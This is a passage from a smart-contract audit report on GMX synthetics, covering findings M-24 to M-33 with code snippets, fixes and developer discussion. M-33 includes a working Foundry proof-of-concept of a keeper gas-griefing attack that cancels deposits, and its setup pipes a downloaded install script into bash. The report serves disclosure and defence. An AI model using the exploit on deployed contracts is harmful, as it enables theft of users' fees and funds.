this behaviour could be incentivised off-chain through rewarding keepers proportional to the PnL of the position ADLed, could be done on the contract level as well, but we do not think this feature is worth the complexity to add for now

IIIIIII000

I'm Keeping this open since the argument is complexity rather than optimal behavior

Issue M-24: Oracles are vulnerable to cross-chain replay attacks

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/152

Found by

IllIllI

Summary

Oracles are vulnerable to cross-chain replay attacks

Vulnerability Detail

If there's a hard fork (e.g. miner vs proof of stake), signatures/txns submitted on one chain can be replayed on the other chain.

Impact

Keepers on the forked chain can use oracle prices from the original chain, even though they may not be correct for the current chain (e.g. USDC's price on the fork may be worth zero until Circle adds support on that fork), leading to invalid execution prices and or liquidations.

Code Snippet

The `SALT` used in signatures is hard-coded to an immutable variable in the constructor, and uses the `block.chainid` from the time of construction:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.constructor()   #1

    constructor(
        RoleStore _roleStore,
        OracleStore _oracleStore
    ) RoleModule(_roleStore) {
        oracleStore = _oracleStore;

        // sign prices with only the chainid and oracle name so that there is
        // less config required in the oracle nodes
@>      SALT = keccak256(abi.encode(block.chainid, "xget-oracle-v1"));
    }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L108-L117

Signatures use the SALT without also including the `block.chainid` separately

Tool used

Manual Review

Recommendation

Include the `block.chainid` in the signature, separately from the `SALT`, and ensure that the value is looked up each time

Issue M-25: Missing checks for whether Arbitrum Sequencer is active

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/151

Found by

IIIIIII, hack3r-0m, 0xdeadbeef, ShadowForce, GalloDaSballo

Summary

Chainlink recommends that users using price oracles, check whether the Arbitrum Sequencer is active

Vulnerability Detail

If the sequencer goes down, the index oracles may have stale prices, since L2-submitted transactions (i.e. by the aggregating oracles) will not be processed.

Impact

Stale prices, e.g. if USDC were to de-peg while the sequencer is offline, would let people submit orders and if those people are also keepers, get execution prices that do not exist in reality.

Code Snippet

Chainlink oracles are used for some prices, but there are no sequencer oracles in use:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol :
↪  Oracle._setPricesFromPriceFeeds()   #1

569                 IPriceFeed priceFeed = getPriceFeed(dataStore, token);
570
571                 (
572                     /* uint80 roundID */,
573                     int256 _price,
574                     /* uint256 startedAt */,
575                     /* uint256 timestamp */,
576                     /* uint80 answeredInRound */
577                 ) = priceFeed.latestRoundData();
578
579:                uint256 price = SafeCast.toUint256(_price);
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L569-L579

Tool used

Manual Review

Recommendation

Use a chainlink oracle to determine whether the sequencer is offline or not, and don't allow orders to be executed while the sequencer is offline.

Issue M-26: Tracking of the latest ADL block use the wrong block number on Arbitrum

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/150

Found by

ShadowForce, IIIIIII, GalloDaSballo

Summary

Tracking of the latest ADL block use the wrong block number on Arbitrum

Vulnerability Detail

The call to `setLatestAdlBlock()` passes in `block.timestamp`, which on Arbitrum, is the L1 block timestamp, not the L2 timestamp on which order timestamps are based.

Impact

Tracking of whether ADL is currently required or not will be based on block numbers that are very far in the past (since Arbitrum block numbers are incremented much more quickly than Ethereum ones), so checks of whether ADL is enabled will pass, and the ADL keeper will be able to execute ADL orders whenever it wants to.

Code Snippet

Uses `block.number` rather than Chain.currentBlockNumber():

```
// File: gmx-synthetics/contracts/adl/AdlUtils.sol : AdlUtils.updateAdlState()
↪ #1

            MarketUtils.MarketPrices memory prices =
↪ MarketUtils.getMarketPrices(oracle, _market);
            (bool shouldEnableAdl, int256 pnlToPoolFactor, uint256
↪ maxPnlFactor) = MarketUtils.isPnlFactorExceeded(
                dataStore,
                _market,
                prices,
                isLong,
                Keys.MAX_PNL_FACTOR
            );

            setIsAdlEnabled(dataStore, market, isLong, shouldEnableAdl);
```

```
114 @>          setLatestAdlBlock(dataStore, market, isLong, block.number);
115
116             emitAdlStateUpdated(eventEmitter, market, isLong,
 ↪  pnlToPoolFactor, maxPnlFactor, shouldEnableAdl);
117:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/adl/AdlUtils.sol#L104-L117

The block number (which is an L1 block number) is checked against the L2 oracle block numbers.

Tool used

Manual Review

Recommendation

Use `Chain.currentBlockNumber()` as is done everywhere else in the code base

Issue M-27: Disabling of markets can be front-run for risk-free trades

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/148

Found by

IIIIIII

Summary

Disabling of markets can be front-run for risk-free trades

Vulnerability Detail

If a user with a large position open sees that a market's executions are being disabled (e.g. a scheduled maintenance window), the user can front-run it with a limit order to exit the position. If they happen in the same block, there is no way for an order keeper to execute the order before the disable happens. Up until the market is re-enabled, the user has a free option to cancel the order at any time if they see that the position loses any money.

Impact

The trader is able to get a free look into the future and decide whether to let the position run, or to exit. This is more advantageous than having a stoploss, because with a stop, if the price later recovers, then you've missed out on the recovery. In this scenario, the trader can see all subsequent history, and then make a decision. If the trader makes a gain, this is necessarily at the expense of another user.

Code Snippet

Orders while the feature is disabled, revert if the keeper tries to execute them, which means they're executed later after the market is re-enabled:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler._handleOrderError()   #1

                if (
@>                  errorSelector == FeatureUtils.DisabledFeature.selector ||
                    errorSelector == PositionUtils.EmptyPosition.selector ||
                    errorSelector == BaseOrderUtils.InvalidOrderPrices.selector
                ) {
```

```
                ErrorUtils.revertWithCustomError(reasonBytes);
            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L248-L254

Tool used

Manual Review

Recommendation

For cases where the order currently reverts with `DisabledFeature`, create another order state, similar to frozen, where the order is marked with the current block number to indicated that it *would* have been executed at that block, but otherwise remains paused, so that later it can be re-executed by a keeper once the market is re-enabled. Once an order reaches this new state, it shouldn't be cancellable.

Discussion

xvi10

orders should only be disabled in an emergency, possibly creation of orders should be disabled during this time as well

IIIIIII000

@xvi10, I believe your `possibly` indicates that this finding has given you new information that you are able to work around via non-code fixes, is that right? Trying to confirm so that Sherlock can decide whether this type of issue is rewardable or not

xvi10

i'm not sure what would what be an accurate way to term it, this report would be a reminder to update the documentation that order creation should be disabled if order execution is disabled, so there is no code change but there is documentation improvement

IIIIIII000

I'm leaving this as open for now, since in other contests requiring a specific order of operations was considered as insecure. If escalated, the Sherlock team will decide what happens here

Issue M-28: Fee receiver does not get paid when collateral is enough to cover the funding fee, during liquidation

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/146

Found by

IllIllI

Summary

When a position is liquidated, and there is enough collateral to cover the outstanding funding fee, the fee receiver does not get paid its fee

Vulnerability Detail

All of the remaining collateral is given to the pool, rather than paying the portion of position fees owed to the fee receiver

Impact

Fee receiver does not get paid its share, which is instead given to the pool

Code Snippet

The PnL funds are all given to the pool, and the `_fees` variable, which contains the fee receiver portion remains uninitialized.

```
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol :
↪  DecreasePositionCollateralUtils.getLiquidationValues()   #1

            } else {
@>              values.pnlAmountForPool = (params.position.collateralAmount()
↪  - fees.funding.fundingFeeAmount).toInt256();
            }

@>          PositionPricingUtils.PositionFees memory _fees;

            PositionUtils.DecreasePositionCollateralValues memory _values =
↪  PositionUtils.DecreasePositionCollateralValues(
                values.pnlTokenForPool,
                values.executionPrice, // executionPrice
                0, // remainingCollateralAmount
                values.positionPnlUsd, // positionPnlUsd
@>              values.pnlAmountForPool, // pnlAmountForPool
                0, // pnlAmountForUser
```

```
359                 values.sizeDeltaInTokens, // sizeDeltaInTokens
360                 values.priceImpactAmount, // priceImpactAmount
361                 0, // priceImpactDiffUsd
362                 0, // priceImpactDiffAmount
363                 PositionUtils.DecreasePositionCollateralValuesOutput(
364                     address(0),
365                     0,
366                     address(0),
367                     0
368                 )
369             );
370
371 @>          return (_values, _fees);
372:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol#L342-L372

The empty fees are returned, and the function exits, skipping the paying of the fee receiver's portion of the position fees that are owed.

Tool used

Manual Review

Recommendation

Split the fees properly in `getLiquidationValues()` and don't return early after the call to `getLiquidationValues()`

Discussion

xvi10

this is a valid concern, but we do not think that the contracts should be changed for it, for simplicity the fee receiver does not receive a fee for this case

IIIIIII000

I'm leaving this open since the fees are not paid

Issue M-29: Virtual impacts can be trivially bypassed via structuring

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/145

Found by

IIIIIII

Summary

Virtual impacts can be trivially bypassed by chopping large orders into multiple smaller ones

Vulnerability Detail

Virtual price impacts are meant to ensure that even if a user spreads their orders over multiple pools, that they still will have a sufficient price impact to deter oracle price manipulation. The code, however, allows smaller orders to go through without incurring this global virtual price impact.

Impact

A user can get around a large virtual price impact by chopping their large orders into multiple smaller orders, below the price impact threshold, manipulate the oracle price, and have all of the small orders executed in the same block, defeating the manipulation protection.

Code Snippet

Only looks at change in position:

```
// File: gmx-synthetics/contracts/pricing/PositionPricingUtils.sol : PositionPricingUtils.getPriceImpactUsd()   #1

            if (!hasVirtualInventory) {
                return priceImpactUsd;
            }

            OpenInterestParams memory openInterestParamsForVirtualInventory = getNextOpenInterestForVirtualInventory(params);
            int256 priceImpactUsdForVirtualInventory = _getPriceImpactUsd(params.dataStore, params.market, openInterestParamsForVirtualInventory);
```

```
215             int256 thresholdPriceImpactUsd =
 ↪  Precision.applyFactor(params.usdDelta.abs(),
 ↪  thresholdImpactFactorForVirtualInventory);
216
217 @>          if (priceImpactUsdForVirtualInventory > thresholdPriceImpactUsd) {
218                 return priceImpactUsd;
219             }
220
221             return priceImpactUsdForVirtualInventory < priceImpactUsd ?
 ↪  priceImpactUsdForVirtualInventory : priceImpactUsd;
222:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol#L207-L222

Tool used

Manual Review

Recommendation

Virtual price impact needs to always apply, in order to solve for the case of splitting a large order over multiple accounts. If orders split over multiple accounts is not a risk you want to address, the price impact should at least take into account the total position size for a single account when determining whether the threshold should apply.

Issue M-30: Collateral tokens that cannot be automatically swapped to the PnL token, cannot have slippage applied to them

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/144

Found by

IllIllI

Summary

Collateral tokens that cannot be automatically swapped to the PnL token, cannot have slippage applied to them, since the `minOutputAmount` is in units of the output token, not the secondary token.

Vulnerability Detail

If a user's order uses the `Order.DecreasePositionSwapType.SwapCollateralTokenToPnlToken` flag, it's possible for the swap to fail (e.g. because the token is paused), and in such cases, the collateral token is sent back as-is, without being converted to the PnL token. In such cases, it's not possible for the code, as it is written, to support slippage in such scenarios, because there is only one order slippage argument, `minOutputAmount`, and it's in units of the PnL token, not the collateral token.

Impact

A user that has a resting order open with the flag set, so that they can take profit at the appropriate time, will be forced to incur any price impact slippage present, even if they had specified a valid `minOutputAmount` that would otherwise have prevented the sub-optimal execution.

Code Snippet

If the swap goes through, the `secondaryOutputAmount` is cleared and added to the outputAmount, but if the swap fails, it's kept as the `values.output.secondaryOutputAmount`:

```
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol :
↪  DecreasePositionCollateralUtils.swapWithdrawnCollateralToPnlToken()   #1

383                 try params.contracts.swapHandler.swap(
...
396                 ) returns (address tokenOut, uint256 swapOutputAmount) {
397                     if (tokenOut != values.output.secondaryOutputToken) {
398                         revert InvalidOutputToken(tokenOut,
 ↪  values.output.secondaryOutputToken);
399                     }
400                     // combine the values into outputToken and outputAmount
401                     values.output.outputToken = tokenOut;
402 @>                  values.output.outputAmount =
 ↪  values.output.secondaryOutputAmount + swapOutputAmount;
403                     values.output.secondaryOutputAmount = 0;
404                 } catch Error(string memory reason) {
405 @>                  emit SwapUtils.SwapReverted(reason, "");
406                 } catch (bytes memory reasonBytes) {
407                     (string memory reason, /* bool hasRevertMessage */) =
 ↪  ErrorUtils.getRevertMessage(reasonBytes);
408 @>                  emit SwapUtils.SwapReverted(reason, reasonBytes);
409                 }
410             }
411
412             return values;
413:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol#L383-L413

And is sent separately, with no slippage checks.

Tool used

Manual Review

Recommendation

Convert the USD value of `secondaryOutputAmount` to `outputAmount`, and ensure that the slippage checks against that total

Issue M-31: Users that have to claim collateral more than once for a time slot, may get the wrong total amount

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/142

Found by

IIIIIII

Summary

Users that have to claim collateral more than once for a given time slot, may get the wrong total amount, because the amount claimed is incorrectly set

Vulnerability Detail

When letting a user claim his/her collateral, the code looks up the claimable amount, does an adjustment based on a factor, sends that amount to the user, then updates the remaining amount claimable. The code incorrectly sets the factor-adjusted total claimable amount as the amount claimed, rather than the claimable amount.

Impact

Accounting of the claimed amount will be wrong, and the user will get less collateral back than they deserve, in some cases.

Code Snippet

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol :
↪  MarketUtils.claimCollateral()   #1

631 @>         uint256 adjustedClaimableAmount =
↪  Precision.applyFactor(claimableAmount, claimableFactor);
632            if (adjustedClaimableAmount <= claimedAmount) { // @audit fixed
↪  comparison operator as mentioned in a separate issue
633                revert CollateralAlreadyClaimed(adjustedClaimableAmount,
↪  claimedAmount);
634            }
635
636 @>         uint256 remainingClaimableAmount = adjustedClaimableAmount -
↪  claimedAmount;
637
638            dataStore.setUint(
639                Keys.claimedCollateralAmountKey(market, token, timeKey,
↪  account),
640 @>                  adjustedClaimableAmount
641             );
642
643             MarketToken(payable(market)).transferOut(
644                 token,
645                 receiver,
646                 remainingClaimableAmount
647:            );
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L631-L647

- A user triggers claimable collateral for 1 Eth (`claimableAmount` = 1)
- A keeper sets `claimableFactor` to 1.0
- The user calls claim, and gets the full 1 Eth, and `claimedAmount` becomes 1 (`adjustedClaimableAmount`)
- A keeper sets `claimableFactor` to 0.5 for that time slot
- The user triggers more claimable collateral for 1 Eth (`claimableAmount` = 2) for the same time slot
- The user calls claim. `adjustedClaimableAmount` is 2 * 0.5 = 1, `remainingClaimableAmount` is 1 - 1 = 0, so the user can't claim anything

The user should have been able to claim a total of 1.5 Eth, but was only able to claim the original 1 Eth, and then nothing more.

Tool used

Manual Review

Recommendation

```diff
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..3346296 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -637,7 +637,7 @@ library MarketUtils {

         dataStore.setUint(
             Keys.claimedCollateralAmountKey(market, token, timeKey, account),
-            adjustedClaimableAmount
+            claimableAmount
         );
```

```
        MarketToken(payable(market)).transferOut(
```

Issue M-32: Deposits/Withdrawals/Orders will be canceled if created before feature is disabled and attempted to be executed after

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/124

Found by

0xdeadbeef, rvierdiiev

Summary

The protocol has the ability to enable/disable operations such as deposits, withdrawals and orders.

If the the above operations are disabled:

1. Users will not be able to create/cancel the operations
2. Keepers will not be able to execute the operations

However - on execution failure, cancellation will succeed even if the feature is disabled.

Therefore - keepers executing operations that are disabled will cancel them and make the user pay execution fees. (loss of funds)

Vulnerability Detail

Let us use deposits as an example. Other operations behave in a similar way.

Consider the following scenario:

1. Bob creates a deposit using `createDeposit`
2. GMX disabled deposits because of maintenance.
3. Keeper executed Bobs deposit
4. Bobs deposit is cancelled and the execution fee is paid to the keeper from Bobs pocket.
5. GMX finished maintenance and enables again the deposits

Execution will fail in the following check:
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L144-L150

The revert will be caught in the catch statement and `_handleDepositError` will be called: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L102-L113

`_handleDepositError` will call `DepositUtils.cancelDeposit` which does not have feature validation: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L181-L203

Impact

Users lose execution fee funds and have to deposit again.

Code Snippet

Tool used

Manual Review

Recommendation

For each operation:

1. add a customer error to catch and revert the feature disable reason, like empty price is caught: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L190
2. Add the feature check in the internal `DepositUtils.cancelDeposit` functions

Issue M-33: Keeper can make deposits/orders/withdrawals fail and receive fee+rewards

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/116

Found by

0xdeadbeef

Summary

Malicious keeper can make execution of deposits/orders/withdrawals fail by providing limited gas to the execution.

If enough gas is sent for the cancellation to succeed but for the execution to fail the keeper is able to receive the execution fee + incentive rewards and cancel all deposits/orders/withdrawals.

Vulnerability Detail

Keepers can execute any deposits/orders/withdrawals. All executions are attempted and if they fail, they are cancelled and the keeper is paid for the execution fee + rewards. Example for executing deposits: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/DepositHandler.sol#L92

```
function executeDeposit(
        bytes32 key,
        OracleUtils.SetPricesParams calldata oracleParams
    ) external
        globalNonReentrant
        onlyOrderKeeper
        withOraclePrices(oracle, dataStore, eventEmitter, oracleParams)
    {
        uint256 startingGas = gasleft();

        try this._executeDeposit(
            key,
            oracleParams,
            msg.sender,
            startingGas
        ) {
        } catch (bytes memory reasonBytes) {
            _handleDepositError(
                key,
                startingGas,
                reasonBytes
            );
        }
    }
```

For the attack to succeed, the keeper needs to make `this._executeDeposit` revert. Due to the 64/63 rule the attack will succeed if both of the following conditions meet:

1. 63/64 of the supplied gas will cause an out of gas in the `try` statement
2. 1/64 of the supplied gas is enough to execute the `catch` statement.

Considering `2000000` is the max callback limit and native token transfer gas limit is large enough to support contracts the above conditions can be met.

I created a POC that exploits the vulnerability on deposits. Keep in mind that it might be easier (lower limits) for Orders as more logic is performed in the `try` statement and therefore more gas is supplied. See in the `Code Snippet` section

Impact

1. Keeper can remove all deposits/withdrawals/orders from the protocol.
    1. Essentially stealing all execution fees paid
2. Keeper can create deposits and by leveraging the bug can cancel them when executing while receiving rewards.
    1. Vaults will be drained

Code Snippet

To get it running, first install foundry using the following command:

1. `curl -L https://foundry.paradigm.xyz | bash` (from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)
2. If local node is not already running and contracts are not deployed, configured - execute the following:

```
npx hardhat node
```

3 Perform the following set of commands from the repository root.

```
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit
```

5. Add the following to 'foundry/test/KeeperCancelExecutions.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface IExchangeRouter {
    function createDeposit(KeeperCancelExecution.CreateDepositParams calldata
↪   params) external returns (bytes32);
}

interface IDepositHandler {
    function executeDeposit( bytes32 key, SetPricesParams calldata oracleParams)
↪   external;
}
interface IReader {
    function getMarket(address dataStore, address key) external view returns
↪   (Market.Props memory);
}

interface IDataStore {
    function getBytes32(bytes32 key) external view returns (bytes32);
    function setUint(bytes32 key, uint256 value) external;
}
library Market {
    struct Props {
        address marketToken;
        address indexToken;
        address longToken;
        address shortToken;
    }
}
library Deposit {
    struct Props {
        Addresses addresses;
        Numbers numbers;
        Flags flags;
    }
    struct Addresses {
        address account;
        address receiver;
        address callbackContract;
        address market;
        address initialLongToken;
        address initialShortToken;
        address[] longTokenSwapPath;
        address[] shortTokenSwapPath;
    }
    struct Numbers {
        uint256 initialLongTokenAmount;
        uint256 initialShortTokenAmount;
        uint256 minMarketTokens;
        uint256 updatedAtBlock;
        uint256 executionFee;
        uint256 callbackGasLimit;
    }
    struct Flags {
        bool shouldUnwrapNativeToken;
    }
}
struct SetPricesParams {
    uint256 signerInfo;
    address[] tokens;
    uint256[] compactedMinOracleBlockNumbers;
    uint256[] compactedMaxOracleBlockNumbers;
    uint256[] compactedOracleTimestamps;
    uint256[] compactedDecimals;
    uint256[] compactedMinPrices;
    uint256[] compactedMinPricesIndexes;
    uint256[] compactedMaxPrices;
    uint256[] compactedMaxPricesIndexes;
    bytes[] signatures;
    address[] priceFeedTokens;
}

contract Keeper is Test {
    fallback() external payable {
        bytes32 x;

        if(gasleft() > 1_000_000) {
            for(uint256 i=0; i<600000;i++){
                x = keccak256(abi.encode(i));
            }
            revert("aaa");
        }
    }
}
contract Callback is Test {
    bytes32 x;

    function afterDepositExecution(bytes32 key, Deposit.Props memory deposit)
↪   external {
        for(uint256 i=0; i<5100;i++){
            x = keccak256(abi.encode(i)); // 1993336 gas
        }
        return;
    }
    function afterDepositCancellation(bytes32 key, Deposit.Props memory deposit)
↪   external{
    }

}

interface IRoleStore{
    function grantRole(address account, bytes32 roleKey) external;
}

contract KeeperCancelExecution is Test {
    struct CreateDepositParams {
        address receiver;
        address callbackContract;
        address market;
        address initialLongToken;
        address initialShortToken;
        address[] longTokenSwapPath;
        address[] shortTokenSwapPath;
        uint256 minMarketTokens;
        bool shouldUnwrapNativeToken;
        uint256 executionFee;
        uint256 callbackGasLimit;
    }

    uint256 public constant COMPACTED_64_BIT_LENGTH = 64;
    uint256 public constant COMPACTED_64_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_64_BIT_LENGTH);


    uint256 public constant COMPACTED_32_BIT_LENGTH = 32;
    uint256 public constant COMPACTED_32_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_32_BIT_LENGTH);

    uint256 public constant COMPACTED_8_BIT_LENGTH = 8;
    uint256 public constant COMPACTED_8_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_8_BIT_LENGTH);

    IExchangeRouter EXCHANGE_ROUTER =
↪   IExchangeRouter(0x4bf010f1b9beDA5450a8dD702ED602A104ff65EE);
    address dataStore = 0x09635F643e140090A9A8Dcd712eD6285858ceBef;
    IReader reader = IReader(0xD49a0e9A4CD5979aE36840f542D2d7f02C4817Be);
    address WETH = 0x99bbA657f2BbC93c02D617f8bA121cB8Fc104Acf;
    address USDC = 0x9d4454B023096f34B160D6B654540c56A1F81688;
    address depositVault = 0xB0f05d25e41FbC2b52013099ED9616f1206Ae21B;
    address controller = 0x1429859428C0aBc9C2C47C8Ee9FBaf82cFA0F20f;
    address roleStore = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
    address ROLE_ADMIN = 0xe1Fd27F4390DcBE165f4D60DBF821e4B9Bb02dEd;
    IDepositHandler depositHandler =
↪   IDepositHandler(0xD42912755319665397FF090fBB63B1a31aE87Cee);

    address signer = 0xBcd4042DE499D14e55001CcbB24a551F3b954096;
    uint256 pk =
↪   0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897;

    Callback callback = new Callback();
    Keeper ORDER_KEEPER = new Keeper();

    using Market for Market.Props;

    function setUp() public {
    }

    function testCreateDepositAndCancel() external {
        // Setup market
        Market.Props memory market = reader.getMarket(dataStore,
↪   address(0xc50051e38C72DC671C6Ae48f1e278C1919343529));
        address marketWethUsdc = market.marketToken;
        address wethIndex = market.indexToken;
        address wethLong = market.longToken;
        address usdcShort = market.shortToken;
        vm.startPrank(controller);
        IDataStore(dataStore).setUint(keccak256(abi.encode("EXECUTION_GAS_FEE_MU⌋
↪   LTIPLIER_FACTOR")), 10**30);
        IDataStore(dataStore).setUint(keccak256(abi.encode("NATIVE_TOKEN_TRANSFE⌋
↪   R_GAS_LIMIT")), 4000000);
        vm.stopPrank();

        vm.prank(ROLE_ADMIN);
        IRoleStore(roleStore).grantRole(address(ORDER_KEEPER),
↪   keccak256(abi.encode("ORDER_KEEPER")));

        // validate weth long usdc short index weth
        assertEq(WETH, wethLong);
        assertEq(WETH, wethIndex);
        assertEq(USDC, usdcShort);

        // initial fund deposit vault and weth
        uint256 depositEth = 1000 ether;
        uint256 executionFee = 100000;
        address[] memory addrArray;
        deal(USDC, depositVault, depositEth);
        vm.deal(depositVault, depositEth);
        vm.prank(depositVault);
        WETH.call{value:
↪   depositEth}(abi.encodeWithSelector(bytes4(keccak256("deposit()"))));
        vm.deal(WETH, depositEth);

        // Create deposit params
        CreateDepositParams memory deposit = CreateDepositParams(
            address(this), // receiver
            address(callback), // callback
            marketWethUsdc, // market
            wethLong, // inital longtoken
            usdcShort, // inital short token
            addrArray, // longtokenswappath
            addrArray, // shortokenswappath
            0, // minmarkettokens
            true,// shouldunwrapnativetoken
            executionFee, // executionfee
            2000000 // callbackGasLimit
        );

        // Create deposit!
        bytes32 depositKey = EXCHANGE_ROUTER.createDeposit(deposit);

        // Maliciously execute legit deposit
        vm.startPrank(address(ORDER_KEEPER));
        depositHandler.executeDeposit{gas: 6_900_000}(depositKey,
↪   getPriceParams()); // get correct price commands.

        // Validate exploit successful by seeing that the deposit was was paid
↪   back to account minus execution fee
        (bool success, bytes memory data) =
↪   WETH.call(abi.encodeWithSelector(bytes4(keccak256("balanceOf(address)")),
↪   address(this)));
        uint256 balance = abi.decode(data, (uint256));
        assertEq(balance, depositEth - executionFee);
    }

    function getPriceParams() internal returns (SetPricesParams memory) {
        address[] memory tokens = new address[](2);
        tokens[0] = WETH;
        tokens[1] = USDC;

        // min oracle block numbers
        uint256[] memory uncompactedMinOracleBlockNumbers = new uint256[](2);
        uncompactedMinOracleBlockNumbers[0] = block.number;
        uncompactedMinOracleBlockNumbers[1] = block.number;

        // decimals 18
        uint256[] memory uncompactedDecimals = new uint256[](2);
        uncompactedDecimals[0] = 18;
        uncompactedDecimals[1] = 18;

        // max price AGE
        uint256[] memory uncompactedMaxPriceAge = new uint256[](2);
        uncompactedMaxPriceAge[0] = block.timestamp;
        uncompactedMaxPriceAge[1] = block.timestamp;

        uint256[] memory uncompactedMaxPricesIndexes = new uint256[](2);
        uncompactedMaxPricesIndexes[0] = 0;
        uncompactedMaxPricesIndexes[1] = 0;

        uint256[] memory uncompactedMaxPrices = new uint256[](2);
        uncompactedMaxPrices[0] = 1000;
        uncompactedMaxPrices[1] = 1000;

        // signerInfo
        uint256 signerInfo = 1;
        uint256[] memory compactedMinOracleBlockNumbers =
↪   getCompactedValues(uncompactedMinOracleBlockNumbers,
↪   COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
        uint256[] memory compactedDecimals =
↪   getCompactedValues(uncompactedDecimals, COMPACTED_8_BIT_LENGTH,
↪   COMPACTED_8_BITMASK);
        uint256[] memory compactedMaxPriceAge =
↪   getCompactedValues(uncompactedMaxPriceAge, COMPACTED_64_BIT_LENGTH,
↪   COMPACTED_64_BITMASK);
        uint256[] memory compactedMaxPricesIndexes =
↪   getCompactedValues(uncompactedMaxPricesIndexes, COMPACTED_8_BIT_LENGTH,
↪   COMPACTED_8_BITMASK);
        uint256[] memory compactedMaxPrices =
↪   getCompactedValues(uncompactedMaxPrices, COMPACTED_32_BIT_LENGTH,
↪   COMPACTED_32_BITMASK);

        bytes[] memory sig = getSig(tokens, uncompactedDecimals,
↪   uncompactedMaxPrices);

        SetPricesParams memory oracleParams = SetPricesParams(
            signerInfo, // signerInfo
            tokens, //tokens
            compactedMinOracleBlockNumbers, // compactedMinOracleBlockNumbers
            compactedMinOracleBlockNumbers, //compactedMaxOracleBlockNumbers
            compactedMaxPriceAge, //  compactedOracleTimestamps
            compactedDecimals, // compactedDecimals
            compactedMaxPrices, // compactedMinPrices
            compactedMaxPricesIndexes, // compactedMinPricesIndexes
            compactedMaxPrices, // compactedMaxPrices
            compactedMaxPricesIndexes, // compactedMaxPricesIndexes
            sig, // signatures
            new address[](0) // priceFeedTokens
        );
        return oracleParams;
    }

    function getSig(address[] memory tokens, uint256[] memory decimals,
↪   uint256[] memory prices) internal returns (bytes[] memory){
        signer = vm.addr(pk);
        bytes[] memory ret = new bytes[](tokens.length);
        for(uint256 i=0; i<tokens.length; i++){
            bytes32 digest = toEthSignedMessageHash(
                keccak256(abi.encode(
                    keccak256(abi.encode(block.chainid, "xget-oracle-v1")),
                    block.number,
                    block.number,
                    block.timestamp,
                    bytes32(0),
                    tokens[i],
                    getDataStoreValueForToken(tokens[i]),
                    10 ** decimals[i],
                    prices[i],
                    prices[i]
                ))
            );
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);
            ret[i] = abi.encodePacked(r,s,v);
        }
        return ret;
    }

    function getDataStoreValueForToken(address token) internal returns (bytes32)
↪   {
        return IDataStore(dataStore).getBytes32(keccak256(abi.encode(keccak256(a ⌋
↪   bi.encode("ORACLE_TYPE")), token)));
    }

    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32
↪   message) {
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32")
            mstore(0x1c, hash)
            message := keccak256(0x00, 0x3c)
        }
    }
    function getCompactedValues(
        uint256[] memory uncompactedValues,
        uint256 compactedValueBitLength,
        uint256 bitmask
    ) internal returns (uint256[] memory) {
        uint256 compactedValuesPerSlot = 256 / compactedValueBitLength;
        bool stopLoop = false;
        uint256[] memory compactedValues = new
↪   uint256[](uncompactedValues.length / compactedValuesPerSlot + 1);
        for(uint256 i=0; i < (uncompactedValues.length - 1) /
↪   compactedValuesPerSlot + 1; i++){
            uint256 valuePerSlot;
            for(uint256 j=0; j< compactedValuesPerSlot; j++){
                uint256 index = i * compactedValuesPerSlot + j;
                if(index >= uncompactedValues.length) {
                    stopLoop = true;
                    break;
                }
                uint256 value = uncompactedValues[index];
                uint256 bitValue = value << (j * compactedValueBitLength);
